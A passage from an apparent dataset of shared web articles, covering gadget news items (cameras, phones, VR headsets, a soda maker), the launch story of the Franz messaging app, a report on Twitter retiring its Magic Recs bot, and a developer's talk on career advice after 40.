has never really strayed from its timeless designs. It's not just a gimmick, either. In the world of photography, retro style is sensible: Unlike today's sleek, touchscreen-controlled phones and tablets, experienced photographers want to have all the knobs, buttons, and dials they need at their fingertips. The fetching Olympus PEN-F is the company's latest old-school camera, and it bears the same name and stylistic touches as Olympus' 35mm film SLR cameras from the early- to mid-1960s. While a tribute to a 35mm film camera would suggest the PEN-F has a full-frame sensor, that isn't the case. It's built around a Micro Four-Thirds sensor like the other cameras in the PEN series. This sensor's brand new, though. It's a 20-megapixel imager, bolstered by Olympus' excellent five-axis stabilization system. It also does the same cool things as Olympus' recent OMD series cameras. There's the ""Hi Res"" mode found in the OMD E-M5 Mark II , a tripod-optimized feature that moves the sensor around to capture a 50-megapixel shot. There's also the focus-bracketing feature found in the E-M5 II, E-M10, and E-M1. The PEN series usually bears lesser specs than Olympus' higher-end OMD lineup, but not this one. The PEN-F is basically an OMD-level camera in a throwback body. It captures continuous shots at a rate of up to 20fps, has a lightning-fast autofocus system, boasts shutter speeds up to 1/16,000 of a second, and shoots RAW. Video capture tops out 1080p at 60fps, although you're able to record time-lapse video in 4K at 5fps. For sure, the most compelling thing about this camera is its body. There's a distinct dial on the front that lets you toggle between monochrome, color, and filter effects. Up top, machined aluminum dials handle mode selections, shutter, and exposure compensation, while a heavy-duty scroll wheel on the back lets you dial everything in. This is also the first PEN camera with an eye-level viewfinder; the others only have a live-view LCD screen. And it's no half-assed EVF, as its OLED display has 2.36 million dots of resolution. But there's still a 3-inch flip-and swivel touchscreen on board, and like most cameras these days, Wi-Fi connectivity is built in. Those OMD-level specs in a PEN body come with a price to match, and you'll have to wait about a month to start shooting with it. The PEN-F will be available in early March, priced at $1,200 for the body only. It's compatible with Micro Four-Thirds system lenses-which have a bigger-than-most crop factor of 2x. Your phone is disgusting. I'm sorry, but it's true. It's covered in germs and... well, and worse . It also stays dirty, because you never clean it, because doing so would ruin it. Tricky situation! Tricky and gross. It's something that the Kyocera Digno Rafre looks to remedy. The Digno Rafre, available in Japan, has pretty basic specs for a smartphone; it starts at 16GB storage, has 2GB RAM, a 13MP rear and 2MP front-facing camera. It runs Android 5.1. None of that's enough to turn heads. For neat freaks, though, or those nonplussed by the thought of carrying around millions of bacteria in their pocket every day, it has one crucial advantage: you can wash it with soap. That's more impressive than it may sound. It's hard enough to find a waterproof smartphone today, and until now impossible to find one that can survive the rigors of a rigorous good scrubbing. In fact, even the Digno Rafre has its limits; Kyocera encourages the use of foam-based soap, rather than potentially injurious bars. Kyocera reportedly managed the feat by finding a better way to seal the device. The Digno Rafre's display also works when wet, meaning it may be the first handset targeted specifically at the bubble bath set. The phone's only available in Japan (for $467), and Kyocera has indicated they don't plan to sell it elsewhere. Until they change their minds-or someone else offers a washproof smartphone stateside-you can always opt for constantly wearing gloves, or obsessively washing your hands. Starting today, you can preorder the consumer version of the Gear VR headset for $99. Sure, Samsung's headset has been around for awhile, at least for developers and lucky beta testers who got their hands on the Innovator Edition. But this is the first time the Oculus Rift-powered headset has been sold to regular consumers. The devices will ship November 20. This isn't just some new packaging slapped on the earlier model: According to Oculus , the official Gear VR headset is 19 percent lighter and ""features improved ergonomics,"" like a new touchpad that should make it easier to use. The best news: Gear VR is going to work with more Samsung phones, and there are lots of new games to use it with. If you have a Galaxy S6 Edge, S6, Note 5, or S6 Edge+, you're in the clear (though the last two will require a carrier software update). And perhaps the most exciting new title on the horizon is , a visually stunning game set in an ancient civilization from the makers of Monument Valley . The Gear is just one of a few compelling VR headsets, but it's managed to situate itself nicely for user adoption by aggressively partnering with various media outlets to experiment with consumer VR experiences. Already we've watched NBA games and political debates. Oh yeah, and it's just under 100 bucks. You can order the Gear headset now on Amazon , Best Buy , or from Samsung . We've all done the ""pocket pat down"" to check we have our phones and wallets before leaving the house. But even if you remember to bring your phone with you, it'll be dead weight if you forget to charge it. Sure, you could always bring a spare charger in your bag, but if you like to go out with only the clothes on your back you know that pocket space is a limited resource. Nomad 's new Wallet for iPhone might be able to help all the bagless chumps out. As its name suggests, the Wallet is a battery pack for your iPhone-but it's no bulky charger: It's no thicker than a standard billfold wallet. It measures in at 95mm (height) x 125mm (width) x 25mm (max thickness), so feel free to stuff it with your disposable income and those fro-yo stamp cards. Nomad was able to keep these dimensions by placing the skinny, yet high powered, 2400 mAh battery along the spine of the Wallet. That's enough juice to fully charge an iPhone 6s. When the Wallet's battery is depleted, it can be recharged by any microUSB charger. Flashing indicator lights will tell you how much energy is stored in the Wallet, and when you are ready to connect it to your iPhone, you can un-sheath its built in Lightning cable. Considering that it can hold all these electronics, your cash, and your cards without looking like a lunchbox, that's some serious space optimization. The Wallet for iPhone can be pre-ordered now for $80 ($20 off retail), and is expected to ship November 15. Love the gaming style of arcades but the physicality of, you know, actually moving? This hack turns indoor rock climbing into a real life video game of sorts-and the creator of the code is working with various rock climbing gyms to bring it to their facilities. Maybe it will hit your local rock wall soon. I've watched the teaser video for the RoBoHoN a few times now, and I still don't know what to make of it. Sharp, who made it, calls it ""a phone in human shape, a phone that you feel like talking to."" The name itself is a wonky portmanteau of robot and phone. It can be held up next to your ear just like any other phone. Unlike any other phone, though, it is also a talking robot helper projector music toy assistant man. Sure! In the three-minute video, the RoBoHoN plays all sorts of roles. It waves happily at you when your alarm goes off, sits on your car dash, remembers to buy you more toothpaste in a squeaky anime voice, and then bends over at the waist to point its built-in projector at a table to show you photos from your boyfriend while he tells you how much he loves you while you cry, apparently? You can dress RoBoHoN up in a bunch of different accessories, including Swarovski crystals. He's mostly designed to be talked to, but he has a touchscreen on his back in case you need to touch him. On one hand, this is definitely the worst phone ever. You wear it by a lanyard around your neck, the screen is small and bad, and I mean, come on, the thing is huge and unwieldy and you look like you're holding a toy to your face. But the robot? The robot seems pretty great. RoBoHoN uses facial recognition to tell individual people to smile for the camera. He (I think it's a he? I've been saying ""he"" but it's entirely possible that RoBoHoN exists outside of gender) will help you remember to do stuff; he'll help your kid learn to walk; he'll play music and literally lead the dance party. He can sit, walk, hail cabs, and do a thousand other crazy things. The concept video looks like an out-there student film, or a live-action cut of something Pixar might be working on. But Sharp swears RoBoHoN is a real thing, set for launch next year. In the inevitable army of the robot takeover, this is the one that eats your smartphone. And dammit if it's not just the cutest little everything machine. There's absolutely no reason that your every day computer shouldn't look like an F-22 cockpit simulation. That seems to be the logic behind HP's new 34-inch Curved All-in-One, an impossibly long display that can comfortably accommodate more tabs than is healthy. The shape's not new to HP; the company already sells a 34-inch display that looks basically identical. The resolution isn't as eye-popping as, say, a 5K iMac, but a 5K iMac doesn't curve, or cover nearly three feet of ground, diagonally. Now, though, HP has stuffed a computer inside that display, in a glorious act of why not? Inside, you'll find substantial enough guts: The $1,799 base model comes with the latest Core i5 processor and 8GB of memory, and you can upgrade to as much as 2TB of storage, 16GB RAM, and a discrete Nvidia GTX 960A graphics card. All of which is to say it'll do pretty much whatever you might need it to. Most importantly, though, it is gigantic; a multi-monitor set-up that requires just one glorious monitor. It's even, one might venture, innovative, at a time that the PC industry desperately needs innovation . It'll be available Nov. 8, and while it's obviously intended for those with specific needs and muscular budget, the rest of us can at least appreciate a heaping desktop helping of eye candy when we see it. Keurig Kold, a countertop soda-making machine that Keurig hopes will expand its appeal beyond coffee. Keurig, best known for its pod-based, countertop coffee dispensers, is branching out. The new Keurig Kold provides a chilled counterpoint to the company's previous models, serving up sodas from name-brand pod providers like Coca-Cola and Snapple. If that sounds a bit like SodaStream, that's because it is, although there are a few key differences. The most important of which, for those who've grown weary of carbon dioxide refills, is that Kold uses ""Karbonator beads"" embedded in its pods to generate CO2. That means no canisters, and no confusion over just how many bubbles to add. That also means the Kold should be equally adept at non-carbonated beverages, including teas, sports drinks, and flavored water; in addition to its partners, Keurig will be offering its own brands in those categories. Regardless of fizz, as you'd expect from the name, the drinks also come out, well, cold, thanks to what Keurig describes as an ""aerospace-inspired thermal transfer system."" While it's hitting shelves today-or more specifically, hitting Keurig's retail website; it will roll out to stores in select cities later this month-Kold made its debut at an analyst conference this past March, and has been in development the past five years. The long rollout signifies just how important Kold is to Keurig; the company's currently trading at about a third of its 52-week high due to quickly fading sales of its K-Cup-based coffee products, a decline that led the company to announce a 5 percent workforce reduction in August. Kold represents its best chance at a pick-me-up. Then again, Kold's most obvious competition, SodaStream, has been in an extended sales free fall, calling into question whether there's currently a significant market for home carbonation machines in the first place. The device faces other challenges, as well. A coffee pod's prime appeal is ease of use; it's obviously faster and less fussy than parsing out grinds for a traditional drip coffee maker. Making that same case for Kold could be tricky, since it's competing against the simple act of popping the tab on a can, or twisting the top of a bottle. And whatever convenience it does offer doesn't come cheap; Kold comes with an MSRP of $370, with pods costing between $4.50 and $5.00 for a pack of four. Each pod produces a single 8-ounce drink, making your countertop cola more expensive than the grocery store equivalent even before the sunk cost of the machine itself. Push-button drink production has a demonstrable appeal; whether that translates from hot to cold depends on one's counter space, pod appeal, and single-serve obsession. The tablet industry is still going strong, but if we can take away anything from the Microsoft Surface and iPad Pro releases, it's that some people really want keyboards to go with their tablets. Built-in touch screen keyboards simply aren't enough for writing anything longer than a text, and they take up valuable screen space. The thin screen-protector-like keyboards that Microsoft and Apple make are great for portability, but they don't offer the tactile feel that desktop keyboards do. If you want a keyboard that feels awesome (and isn't that portable) what better place to look for inspiration than a good old-fashion typewriter? The folks at Qwerkytoys have created the Qwerkywriter , a tablet keyboard that mimics the look and feel of a typewriter. Even though the Qwerkywriter looks old fashioned, there's plenty of modern tech baked inside. The keyboard pairs with devices via Bluetooth, so even though it has a dock that fits all sorts of tablets, it can be paired with smartphones or even desktop computers. Additionally, that macro return bar isn't just for show: By default, it doubles as an enter key, but can also be programmed to render up to five characters. The Qwerkywriter started as a Kickstarter campaign, but since it already met its goal of $90,000, you can pre-order it now for $329. The pre-orders won't ship out until October or November, but in the meantime you can listen to the satisfying clicks of the Qwerky's keys in action. The maximum load of a PhunkeeDuck-or any other brand of these suddenly popular stand-up scooter boards -is around 300 pounds. The maximum thing you should try to do on one of them is not to fall over. Somehow, personal trainer Bradley Martyn stepped onto one, stuck 315 pounds behind his neck (six 45-pound weights plus a 45-pound bar), and blasted some squats. Four reps, bro. On a spaceboard, bro. This is dangerous, and you should not ever try it. In fact, you can hear the stand-up scooter crack during the initial squat, and again during the fourth rep. Somehow, the contraption held together during the entire feat of strength and balance, and that wasn't the only danger to Martyn's safety. Fall backward, and risk a concussion from the back of your head smacking a solid steel bar. Fall forward, and risk your face being pinned to the floor by 315 pounds. So never attempt this superhuman show of agility, even if you look like He-Man. Still, feel free to watch it repeatedly on the Internet to your heart's desire. Logitech G is launching two new gaming headphones: the G633 and G933 Artemis Spectrum. They are the result of Logitech's sound engineering team's attempt to create a gaming headset that delivers audio comparable to top-shelf headphones. With patent pending Pro-G audio drivers and 7.1 Dolby surround sound, these headphones aim to immerse you into the game. The two headphones look similar, with the G933 as the beefier big brother. The G933 includes a few more features than the G633, such as the ability to operate wirelessly and an additional audio input for sound mixing. But you'll have to pay a little bit more to get these extras, as the G933 costs $200 versus the G633's $150 price tag. Regardless, the two both offer some cool customizable features. By downloading the Logitech Gaming Software, you are able to assign game macro functions to the headset's three programmable G-keys. Additionally, you can use the software to adjust equalizer settings and set up sound profiles that best fit your acoustic preferences. On the other hand, some customizable features are just for fun, like the ability to change the RGB lighting to any color of your choosing. Look out for the Logitech G633 and G933 Artemis Spectrum in October 2015. While your smartphone is an easy conduit for all-emoji conversation, things get a little tough when you find yourself at a regular old laptop. Sure, keyboard shortcuts can get you there, but PC-made discussion is still dominated by... you know, words. Until now! Emoji Key is a set of stickers you can throw on top of your lettered keyboard. Then you just have to install the emoji keyboard on your laptop (the site includes instructions), and boom: You are typing in nothing but emoji. And yes, this would probably get confusing eventually. In Samsung's never-ending quest to take on the iPhone, it's giving customers the chance to test drive one of its Galaxy phones (the S6 Edge, S6 Edge+, or Note 5) for 30 days for the low, low price of $1. If you're an iPhone user who's curious about the competition, now is the time to question your allegiance. You'll get a month's worth of data, and since it's not like you have to hand your iPhone over to Samsung, you've essentially got two phones for a month. For a data hog, that's not a bad deal. Really, this should have become a standard a long time ago. According to Reuters , this surfer shelled out $390 to attach a device to his board that emits ""an electronic force field that overpowers [sharks'] sensing organs."" Sounds like the best $390 he ever spent. There are couple of retailers installing these devices, including SurfSafe and SharkShield -check out this video from the former showing you how its done.",en
1461954787,CONTENT SHARED,910894669274456978,-1443636648652872475,-7777675406803857155,,,,HTML,https://blog.meetfranz.com/franz-from-idea-to-10-000-daily-active-users-in-26-days-81a55757f9ed?gi=f54f25c79763,"Franz - from idea to 10,000 daily active users in 26 days - Meet Franz","Franz - from idea to 10,000 daily active users in 26 days This is the story of my desktop app Franz and how I was able to build an app from idea to 10,000 daily active users in less than a month with just a single post on Product Hunt . First of all, who is Franz? Franz is a free messaging app that combines chat & messaging services into one application. WhatsApp , Slack , HipChat , Facebook Messenger , Telegram , Google Hangouts , Skype and Grape are currently supported with more to follow soon. Download Franz for free here . Why build Franz? I'm using Facebook Messenger, WhatsApp, Skype, Grape and a couple of Slack teams on a daily basis . Since my buddies from orat.io became Telegram fanboys I now have one more service to add to that ever expanding list too. Being dependent on so many different messaging platforms is just plain frustrating. There are so many times where I have to switch from one browser tab to another, back to a messaging app, then to my mobile phone - just to pass some simple information or find an appointment with colleagues or friends. This is absolutely ridiculous -  the way how we communicate is broken! Why can't there be just one app for all the messengers? The beginning of Franz I wondered how it could be possible to bundle all the proprietary messengers into one app and almost gave up when I remembered that most of the major messengers provide web apps that are quite polished. Slack's native app on the Mac is actually a web app wrapped using a thing called "" electron "". - This was Friday, February 12. On Sunday after a couple of experiments I suddenly had a rough prototype that let me interact with Slack. After adding WhatsApp and Telegram, I sent out an early version to some friends to get feedback. Over the next two and a half weeks I've built a Minimum Lovable Product around the services I use every day. On Sunday February 28 I was pretty happy with how Franz had turned out and thought that it would be great to get more feedback and testers from the experienced product people on Product Hunt. I approached my friend Thomas and asked if he would be interested in posting Franz on Product Hunt on Tuesday, that gave me enough time to build a simple website and polish Franz a bit. The Product Hunt launch Thomas posted Franz on Product Hunt at 10am CET. My expectations : about 250 upvotes and a couple hundred downloads + some tweets and emails. Reality: 1200 upvotes and over 100 comments within 24 hours. From soon on Franz was the most upvoted Product of the day. My website saw about 10,000 visits from Product Hunt alone and Franz saw his first 7,000 installs. What surprised me... How fast media outlets like TNW , t3n or Trending Topics picked up the story from Product Hunt. The amount of high quality VC's and Angels that contacted me - especially ones based in Europe. Users on Product Hunt did tests and found using Franz had a much smaller memory & CPU footprint than running the services separately. The insane amount of love letters and tweets I've received! &#x1f60d; Launch + 7 days A couple of national and international media outlets around the world published stories about Franz which allowed him to keep his growth steady. Monday 7th March, after the The Next Web launched its article about Franz , we reached more than 22,000 installs and 10,000 daily active users. &#x1f389; Franz in numbers Activity Most used services What's up next? There is so much happening right now and you can be part of it... Windows Beta Program Today, we're officially launching the Windows Beta Program. Everyone that wants to help us bring a great messaging experience to Windows is more than welcome to join the program.",en
1461955462,CONTENT SHARED,4153717385931831462,-1443636648652872475,-7777675406803857155,,,,HTML,http://thenextweb.com/socialmedia/2016/04/29/twitter-kills-magic-recs/,"Twitter killed Magic Recs, the only useful bot there is","Twitter has discontinued Magic Recs, its bot that alerted users via DM about trending posts and popular accounts. In a written statement to TechCrunch , a Twitter spokesperson had the following to say about the company's new direction with regard to bots: @MagicRecs is no longer regularly sending recommendations through Direct Message. Recommendations that were previously shared via Direct Message are now delivered via push notification. Magic Recs (which Twitter always tagged as an 'experiment') was one of the few useful bots around, but required you to follow the account (you know, DMs and all that). It also didn't have many followers: 112,000. Not that push notifications are much better than a DM, but it's probably just Twitter streamlining its efforts. The account is still active, but there's no reason to follow it now. Twitter quietly retires Magic Recs, a DM bot that recommended viral accounts and Tweets on TechCrunch TNW's West Coast writer in the PNW (Portland, Oregon). Nate loves amplifying developers, and codes in Swift when he's not writing. If you need to get in touch, Twitter or email are your best bets.",en
1461959979,CONTENT SHARED,-5756697018315640725,-1443636648652872475,-7777675406803857155,,,,HTML,https://medium.freecodecamp.com/being-a-developer-after-40-3c5dd112210c?gi=62f851a5d81a,Being A Developer After 40 - Free Code Camp,"Being A Developer After 40 (This is the talk I have given at App Builders Switzerland on April 25th, 2016. The slides are available on SpeakerDeck and at the bottom of this article.) (A version in Russian is available in Habrahabr.ru .) Hi everyone, I am a forty-two years old self-taught developer, and this is my story. A couple of weeks ago I came by the tweet below, and it made me think about my career, and those thoughts brought me back to where it all began for me: I started my career as a software developer at precisely 10am, on Monday October 6th, 1997, somewhere in the city of Olivos , just north of Buenos Aires , Argentina . The moment was Unix Epoch 876142800 . I had recently celebrated my 24th birthday. The World In 1997 The world was a slightly different place back then. Websites did not have cookie warnings. The future of the web were portals like Excite.com . AltaVista was my preferred search engine. My e-mail was kosmacze@sc2a.unige.ch, which meant that my first personal website was located in We were still mourning Princess Lady Diana . Steve Jobs had taken the role of CEO and convinced Microsoft to inject 150 million dollars into Apple Computer. Digital Equipment Corporation was suing Dell. The remains of Che Guevara had just been brought back to Cuba. The fourth season of ""Friends"" had just started. Gianni Versace had just been murdered in front of his house. Mother Teresa , Roy Lichtenstein and Jeanne Calment (the world's oldest person ever) had just passed away. People were playing Final Fantasy 7 on their PlayStation like crazy. BBC 2 started broadcasting the Teletubbies . James Cameron was about to release Titanic . The Verve had just released their hit ""Bitter Sweet Symphony"" and then had to pay most royalties to the Rolling Stones. Smartphones looked like the Nokia 9000 Communicator ; they had 8 MB of memory, a 24 MHz i386 CPU and run the GEOS operating system. Smartwatches looked like the CASIO G-SHOCK DW-9100BJ . Not as many apps but the battery life was much longer. IBM Deep Blue had defeated for the first time Garry Kasparov in a game of chess. A hacker known as ""_eci"" published the C code for a Windows 3.1, 95 and NT exploit called ""WinNuke,"" a denial-of-service attack that on TCP port 139 (NetBIOS) causing a Blue Screen of Death. Incidentally, 1997 is also the year Malala Yousafzai , Chloë Grace Moretz and Kylie Jenner were born. Many film storylines take place in 1997, to name a few: Escape from New York , Predator 2 , The Curious Case of Benjamin Button , Harry Potter and the Half-Blood Prince , The Godfather III and according to Terminator 2: Judgement Day , Skynet became self-aware at 2:14 am on August 29, 1997. That did not happen; however, in an interesting turn of events, the domain google.com had been registered on September 15th that year. We were two years away from Y2K and the media were starting to get people nervous about it. My First Developer Job My first job consisted of writing ASP pages in various editors, ranging from Microsoft FrontPage , to HotMeTaL Pro to EditPlus , managing cross-browser compatibility between Netscape Navigator and Internet Explorer 4, and writing stored procedures in SQL Server 6.5 powering a commercial website published in Japanese, Russian, English and Spanish - without any consistent UTF-8 support across the software stack. The product of these efforts ran in a Pentium II server hosted somewhere in the USA, with a stunning 2 GB hard disk drive and a whooping 256 MB of RAM. It was a single server running Windows NT 4 , SQL Server 6.5 and IIS 2.0 , serving around ten thousand visitors per day. My first professional programming language was this mutant called VBScript , and of course a little bit of JavaScript on the client side, sprinkled with lots of ""if this is Netscape do this, else do that"" because back then I had no idea how to use JavaScript properly. Interestingly, it's 2016 and we are barely starting to understand how to do anything in JavaScript. Unit tests were unheard of. The Agile Manifesto had not been written yet. Continuous integration was a dream. XML was not even a buzzword. Our QA strategy consisted of restarting the server once a week, because otherwise it would crash randomly. We developed our own COM+ component in Visual J++ to parse JPEG files uploaded to the server. As soon as JPEG 2000 -encoded files started popping up, our component broke miserably. We did not use source control, not even CVS , RCS or, God forbid, SourceSafe . Subversion did not exist yet. Our Joel Test score was minus 25. 6776 Days For the past 6776 days I have had a cup of coffee in the morning and wrote code with things named VBScript, JavaScript, Linux, SQL, HTML, Makefiles, Node.js, CSS, XML, .NET, YAML, Podfiles, JSON, Markdown, PHP, Windows, Doxygen, C#, Visual Basic, Visual Basic.NET, Java, Socket.io, Ruby, unit tests, Python, shell scripts, C++, Objective-C, batch files, and lately Swift. In those 6776 days lots of things happened; most importantly, my wife and I got married. I quit 6 jobs and I was fired twice. I started and closed my own business. I finished my Master Degree. I published a few open source projects, and one of them landed me an article on Ars Technica by Erica Sadun herself . I was featured in Swiss and Bolivian TV shows. I watched live keynotes by Bill Gates and by Steve Jobs in Seattle and San Francisco. I spoke at and co-organised conferences in four continents. I wrote and published two books . I burned out twice (not the books, myself,) and lots of other things happened, both wonderful and horrible. I have often pondered about leaving the profession altogether. But somehow, code always calls me back after a while. I like to write apps, systems, software. To avoid burning out, I have had to develop strategies. In this talk I will give you my secrets, so that you too can reach the glorious age of 40 as an experienced developer, willing to continue in this profession. Advice For The Young At Heart Some simple tips to reach the glorious age of 40 as a happy software developer. 1. Forget The Hype The first advice I can give you all is, do not pay attention to hype. Every year there is a new programming language, framework, library, pattern, component architecture or paradigm that takes the blogosphere by storm. People get crazy about it. Conferences are given. Books are written. Gartner hype cycles rise and fall. Consultants charge insane amounts of money to teach, deploy or otherwise fuckup the lives of people in this industry. The press will support these horrors and will make you feel guilty if you do not pay attention to them. In 2000 it was SOAP & XML. In 2003 it was Model Driven Architecture and Software Factories . In 2006 it was Semantic Web and OLPC . In 2009 it was Augmented Reality . In 2012 it was Big Data . In 2015... Virtual Reality? Bots? Do not worry about hype. Keep doing your thing, keep learning what you were learning, and move on. Pay attention to it only if you have a genuine interest, or if you feel that it could bring you some benefit in the medium or long run. The reason for this lies in the fact that, as the Romans said in the past, Nil nove sul sole. Most of what you see and learn in computer science has been around for decades, and this fact is purposedly hidden beneath piles of marketing, books, blog posts and questions on Stack Overflow. Every new architecture is just a reimagination and a readaptation of an idea that was floating around for decades. 2. Choose Your Galaxy Wisely In our industry, every technology generates what I call a ""galaxy."" These galaxies feature stars but also black holes; meteoric changes that fade in the night, many planets, only a tiny fraction of which harbour some kind of life, and lots of cosmic dust and dark matter. Examples of galaxies are, for example, .NET, Cocoa, Node.js, PHP, Emacs, SAP, etc. Each of these features evangelists, developers, bloggers, podcasts, conferences, books, training courses, consulting services, and inclusion problems. Galaxies are built on the assumption that their underlying technology is the answer to all problems. Each galaxy, thus, is based in a wrong assumption. The developers from those different galaxies embody the prototypical attitudes that have brought that technology to life. They adhere to the ideas, and will enthusiatically wear the t-shirts and evangelize others about the merits of their choice. Actually, I use the term ""galaxy"" to avoid the slightly more appropriate if not less controversial term ""religion,"" which might describe this phenomenon better. In my personal case, I spent the first ten years of my career in the Microsoft galaxy, and the following nine in the Apple galaxy. I dare say, one of the biggest reasons why I changed galaxies was Steve Ballmer. I got tired of the general attitude of the Microsoft galaxy people against open source software. On the other hand, I also have to say that the Apple galaxy is a delightful place, full of artists and musicians and writers who, by chance or ill luck, happen to write software as well. I attended conferences in the Microsoft galaxy, like the Barcelona TechEd 2003, or various Tech Talks in Buenos Aires, Geneva or London. I even spoke at the Microsoft DevDays 2006 in Geneva. The general attitude of developers in the Microsoft galaxy is unfriendly, ""corporate"" and bound in secrecy, NDAs and cumbersome IT processes. The Apple galaxy was to me, back in 2006, exactly the opposite; it was full of people who were musicians, artists, painters; they would write software to support their passion, and they would write software with passion. It made all the difference, and to this day, I still enjoy tremendously this galaxy, the one we are in, right now, and that has brought us all together. And then the iPhone came out, and the rest is history. So my recommendation to you is: choose your galaxy wisely, enjoy it as much or as little as you want, but keep your telescope pointed towards the other galaxies, and prepare to make a hyperjump to other places if needed. 3. Learn About Software History This takes me to the next point: learn how your favorite technology came to be. Do you like C#? Do you know who created it? How did the .NET project came to be? Who was the lead architect? Which were the constraints of the project and why did the language turned out to be what it is now? Apply the same recipe to any language or CPU architecture that you enjoy or love: Python, Ruby, Java, whatever the programming language; learn their origins, how they came up to be. The same for operating systems, networking technologies, hardware, anything. Go and learn how people came up with those ideas, and how long they took to grow and mature. Because good software takes ten years , you know. The stories surrounding the genesis of our industry are fascinating, and will show you two things: first, that everything is a remix . Second, that you could be the one remixing the next big thing. No, scratch that: you are going to be the creators of the next big thing. And to help you get there, here is my (highly biased) selection of history books that I like and recommend: You will also learn to value those things that stood the test of time: Lisp , TeX , Unix , bash , C , Cocoa , Emacs , Vim , Python , ARM , GNU make , man pages . These are some examples of long-lasting useful things that are something to celebrate, cherish and learn from. 4. Keep on Learning Learn. Anything will do. Wanna learn Fortran? Go for it. Find Erlang interesting? Excellent. Think COBOL might be the next big thing in your career? Fantastic. Need to know more about Functional Reactive Programming ? Be my guest. Design? Of course. UX? You must. Poetry? You should . Many common concepts in Computer Science have been around for decades, which makes it worthwhile to learn old programming languages and frameworks; even ""arcane"" ones. First, it will make you appreciate the current state of the industry (or hate it, it depends,) and second, you will learn how to use the current tools more effectively - if anything, because you will understand its legacy and origins. Tip 1: learn at least one new programming language every year. I did not come up with this idea; The Pragmatic Programmer book did. And it works. One new programming language every year. Simple, huh? Go beyond the typical ""Hello, World"" stage, and build something useful with it. I usually build a simple calculator with whatever new technology I learn. It helps me figure out the syntax, it makes me familiar with the APIs or the IDE, etc. Tip 2: read at least 6 books per year. I have shown above a list of six must-read books; that should keep you busy for a year. Here goes the list for the second year: (OK, those are seven books.) Six books per year looks like a lot, but it only means one every 2 months. And most of the books I have mentioned in this presentation are not that long, and even better, they are outstandingly well written, they are fun and are full of insight. Look at it this way: if you are now 20 years old, by the age of 30 you will have read over 60 books, and over 120 when you reach my age. And you will have played with at least 20 different programming languages. Think about it for a second. Some of the twelve books I've selected for you have been written in the seventies, others in the eighties, some in the nineties and finally most of them are from the past decade. They represent the best writing I have come across in our industry. But do not just read them; take notes. Bookmark. Write on the pages of the books. Then re-read them every so often. Borges used to say that a bigger pleasure than reading a book is re-reading it. And also, please, buy those books you really like in paper format. Believe me. eBooks are overrated. Nothing beats the real thing. Of course, please know that as you will grow old, the number of things that qualify as new and/or important will drop dramatically. Prepare for this. It is OK to weep silently when you realise this. 5. Teach Once you have learnt, teach . This is very important. This does not mean that you should setup a classroom and invite people to hear your ramblings (although it would be awesome if you did!) It might mean that you give meaningful answers to questions in Stack Overflow; that you write a book; that you publish a podcast about your favorite technology; that you keep a blog; that you write on Medium; that you go to another continent and set up programming schools using Raspberry Pis; or that you help a younger developer by becoming their mentor (do not do this before the age of 30, though.) Teaching will make you more humble, because it will painfully show you how limited your knowledge is. Teaching is the best way to learn . Only by testing your knowledge against others are you going to learn properly. This will also make you more respectful regarding other developers and other technologies; every language, no matter how humble or arcane, has its place within the Tao of Programming , and only through teaching will you be able to feel it. And through teaching you can really, really make a difference in this world. Back in 2012 I received a mail from a person who had attended one of my trainings. She used to work as an Adobe Flash developer. Remember ActionScript and all that? Well, unsurprisingly after 12 years of working as a freelance Flash developer she suddenly found herself unemployed. Alone. With a baby to feed. She told me in her message that she had attended my training, that she had enjoyed it and also learnt something useful, and that after that she had found a job as a mobile web developer. She wrote to me to say thank you . I cannot claim that I changed the world, but I might have nudged it a little bit, into something (hopefully) better. This thought has made every lesson I gave since then much more worthwhile and meaningful. 6. Workplaces Suck Do not expect software corporations to offer any kind of career path. They might do this in the US, but I have never seen any of that in Europe. This means that you are solely responsible for the success of your career. Nobody will tell you ""oh, well, next year you can grow to be team leader, then manager, then CTO..."" Not. At. All. Quite the opposite, actually: you were, are and will be a software developer, that is, a relatively expensive factory worker, whose tasks your managers would be happy to offshore no matter what they tell you. Do not take a job just for the money. Software companies have become sweatshops where you are supposed to justify your absurdly high salary with insane hours and unreasonable expectations. And, at least in the case of Switzerland, there is no worker union to help you if things go bad. Actually there are worker unions in Switzerland, but they do not really care about situations that will not land them some kind of media exposure. Even worse; in most workplaces you will be harassed, particularly if you are a woman, a member of the LGBT community or from a non-caucasian ethnic group. I have seen developers threatened to have their work visas not renewed if they did not work faster. I have witnessed harassment of women and gay colleagues. Some parts of our industry are downright disgusting, and you do not need to be in Silicon Valley to live it. You do not need Medium to read it. You could experience that right here in Switzerland. Many banks have atrocious workplaces. Financial institutions want you to vomit code 15 hours a day, even if the Swiss working laws explicitly forbid such treatments. Pharmaceutical companies want you to write code to cheat test results and to help them bypass regulations. Startups want your skin, working for 18 hours for no compensation, telling you bullshit like ""because we give you stock options"" or ""because we are all team players."" It does not matter that you are Zach Holman and that you can claim in your CV that you literally wrote Github from scratch: you will be fired for the pettiest of reasons. It does not matter that the app brings more than half of your employer traffic and revenues; the API team will treat you and your ideas with contempt and sloppiness. I have been asked to work for free by very well known people in the industry, some of them even featured in Wikipedia, and it is simply appalling. I will not give out their names, but I will prevent any junior from getting close to them, because people working without ethics do not deserve anyone's brain. Whenever an HR manager tells you ""you must do this (whatever wrong thing in your frame of reference) because we pay you a salary,"" remember to answer the following: ""you pay me a salary, but I give you my brain in exchange, and I refuse to comply with this order."" And to top it all, they will put you in an open space, and for some reason they will be proud about it. Open spaces are a cancer. They are without a doubt the worst possible office layout ever invented, and the least appropriate for software development - or any type of brain work for that matter. Remember this: the fact that you understand something does not imply that you have to agree to it. Disobey authority. Say ""fuck you, I won't do what you tell me"" and change jobs. There are fantastic workplaces out there; not a lot, but they exist. I have been lucky enough to work in some of them. Do not let a bad job kill your enthusiasm. It is not worth it. Disobey and move on. Or, better yet, become independent. 7. Know Your Worth You have probably heard about the ""10x Software Engineer"" myth, right? Well here is the thing: it is not a myth, but it does not work they way you think it works. It works, however, from the point of view of the employer: a ""10x Software Engineer"" generates worth 10 times whatever the employer pays. That means that you she or he gets 100 KCHF per year, but she or he are actually creating a value worth over a million francs. And of course, they get the bonuses at the end of the fiscal year, because, you know, capitalism. Know your worth. Read Karl Marx and Thomas Piketty . Enough said. Keep moving; be like the shark that keeps on swimming, because your skills are extremely valuable. Speak out your salary, say it loud, blog about it, so that your peers know how much their work is worth. Companies want you to shut up about that, so that women are paid 70% of what men are paid. So speak up! Blog about it! Tweet it! I am making 135 KCHF per year. That was my current salary. How about you? And you? The more we speak out, the less inequality there will be. Any person doing my job with my experience should get the same money, regardless of race, sex, age or preferred football team. End of the story. But it is not like that. It is not. 8. Send The Elevator Down If you are a white male remember all the privilege you have enjoyed since birth just because you were born 